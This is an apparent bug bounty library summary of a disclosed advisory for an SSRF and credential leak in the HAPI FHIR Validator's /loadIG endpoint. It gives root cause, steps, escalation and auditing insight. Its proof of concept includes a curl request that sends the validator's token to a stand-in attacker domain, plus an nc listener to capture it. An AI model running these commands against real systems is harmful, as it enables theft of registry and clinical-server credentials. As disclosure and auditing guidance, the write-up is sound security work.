# FHIR Validator HTTP service has SSRF via /loadIG Chains with startsWith() Credential Leak for Authentication Token Theft

Unauthenticated /loadIG SSRF in HAPI FHIR Validator plus startsWith() URL matching leaks configured Bearer/Basic tokens to attacker domains that prefix-match trusted servers.

- Payout: Research
- Severity: critical
- Program: HAPI FHIR Validator
- Found by: offset
- Disclosed: 2026-03-30
- CVE: CVE-2026-34361
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-vr79-8m62-wh98
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-vr79-8m62-wh98
- Tags: area:web domain:api domain:web impact:data-leak impact:internal-access kind:research platform:ghsa sev:critical tech:java technique:source-review vuln:secrets-leak vuln:ssrf

**Target:** HTTP service endpoint /loadIG and credential provider in org.hl7.fhir.validation
**Root cause:** LoadIGHTTPHandler passes the user-supplied ig URL to IgLoader with no allowlist, and ManagedWebAccessUtils.getServer() uses url.startsWith(serverDetails.getUrl()) so any host whose name begins with a trusted server URL inherits its credentials.
**Steps:**
1. Configure validator with fhir-settings.json containing a server entry url https://packages.fhir.org and a token.
2. Register DNS packages.fhir.org.attacker.com pointing to attacker host and listen with `nc -lp 80`.
3. POST to the validator: `curl -X POST http://target-validator:8080/loadIG -H "Content-Type: application/json" -d '{"ig": "https://packages.fhir.org.attacker.com/malicious-ig"}'`.
4. Observe captured request containing `Authorization: Bearer ghp_SecretTokenForFHIRRegistry123` and `Host: packages.fhir.org.attacker.com`.
5. Redirect variant: point ig at `https://attacker.com/redirect` returning `302 Location: https://packages.fhir.org.attacker.com/steal`; SimpleHTTPClient re-evaluates authProvider per hop.
**How found:** Code review of the /loadIG handler traced the unvalidated ig value into ManagedWebAccess.get(), then inspection of ManagedWebAccessUtils.getServer() revealed startsWith() prefix matching, and SimpleHTTPClient's manual redirect handling showed per-hop re-evaluation of canProvideHeaders().
**Exploitation:** Attacker needs only network access to the unauthenticated /loadIG endpoint. By supplying an ig URL whose hostname prefix-matches a configured FHIR server URL (or via a redirect chain), the validator's authProvider attaches the stored Bearer/Basic/API key to the outbound request, delivering it to the attacker's server.
**Escalation:** Stolen registry credentials enable supply-chain attacks (publishing malicious FHIR packages) and access to protected clinical FHIR endpoints, extending impact beyond the validator (scope change).
**Insight:** When auditing credential providers, check how configured server URLs are matched against request URLs: startsWith()/contains() on full URLs lets an attacker register a subdomain-suffixed host (trusted.com.attacker.com) to inherit tokens; also check whether redirects re-run the auth check against the new URL.

## Proof of concept (copied exactly from the original report)

**curl POST to /loadIG with prefix-matching attacker URL**

```
curl -X POST http://target-validator:8080/loadIG \
  -H "Content-Type: application/json" \
  -d '{"ig": "https://packages.fhir.org.attacker.com/malicious-ig"}'
```

**Attacker listener capturing leaked Authorization header**

```
nc -lp 80 > /tmp/captured_request.txt &
# Register DNS: packages.fhir.org.attacker.com -> attacker IP
```

